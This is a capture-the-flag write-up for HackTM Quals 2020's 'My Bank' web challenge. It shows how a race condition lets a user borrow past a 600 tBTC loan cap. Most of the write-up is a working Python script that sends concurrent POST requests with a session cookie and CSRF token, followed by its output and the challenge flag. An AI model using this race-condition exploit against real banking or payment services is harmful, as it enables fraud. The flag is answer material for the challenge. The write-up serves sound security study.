HackTM Quals20 - My Bank
Posted on jeu. 06 février 2020 in CTF
solves : 70
My Bank
280 Points
Who's got my money?
Please abstain from brute-forcing files.
http://178.128.175.6:50090/
Author: nytr0gen
We got a URL who is a login page.
We can put any login to the field and we get redirect to the default page. This page allows to loan some BTC from the bank.
This money allow us to buy some goods (Chocolate - 10 tBTC, Python Book - 40 tBTC, WreckTheLine Stickers - 105 tBTC) and the flag for 1337 tBTC.
But, the first page show that we can only loan 600 tBTC from the bank. We can't get more.
So, we need to make a trick to the server to allow us loan more faster than the server check the reaming loan allow amount. I made a Python script who perform a total of 15 request. It should allow us to buy the flag.
from concurrent.futures import ThreadPoolExecutor as PoolExecutor
import http.client, urllib.parse
import socket
from bs4 import BeautifulSoup
import requests
import sys
def get_it(url):
try:
# always set a timeout when you connect to an external server
connection = http.client.HTTPConnection(url, timeout=1)
connection.request("POST", "/", params, headers)
response = connection.getresponse()
return response.read()
except socket.timeout:
# in a real world scenario you would probably do stuff if the
# socket goes into timeout
pass
URL = [
"178.128.175.6:50090"
] * 15
headers = { "Cookie": "session="+sys.argv[1], "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0", "Content-Type": "application/x-www-form-urlencoded" }
soup = BeautifulSoup(requests.get("http://178.128.175.6:50090/", headers=headers).content, features="lxml")
token = soup.find('input', dict(name='csrf_token'))['value']
params = urllib.parse.urlencode({'loan': '100', 'csrf_token': token })
with PoolExecutor(max_workers=4) as executor:
for _ in executor.map(get_it, URL):
pass
soup = BeautifulSoup(requests.get("http://178.128.175.6:50090/store", headers=headers).content, features="lxml")
money = soup.find_all("li")
print(money[5])
if "1,500" not in money[5]:
print("Failed! Try again")
exit()
pass
soup = BeautifulSoup(requests.get("http://178.128.175.6:50090/store", headers=headers).content, features="lxml")
token = soup.find('input', dict(name='csrf_token'))['value']
params = urllib.parse.urlencode({'item': '1337', 'csrf_token': token })
print(params)
r = requests.post("http://178.128.175.6:50090/store", headers=headers, data=params)
soup = BeautifulSoup(r.text, features="lxml")
mydivs = soup.findAll("div", {"class": "alert-success"})
print(mydivs)
You may need to run the script a few times to get the correct amount of money.
$ python bank.py "COOKIE"
<li>Money: 1,100.00 tBTC</li>
Failed! Try again
$ python bank.py "COOKIE"
[...] Well done! You have just bought a HackTM{9f19d6b8fdc9f5c6426343f5b004e6c6794d96b9be329402af463c294297550b} with 1337 tBTC.[...]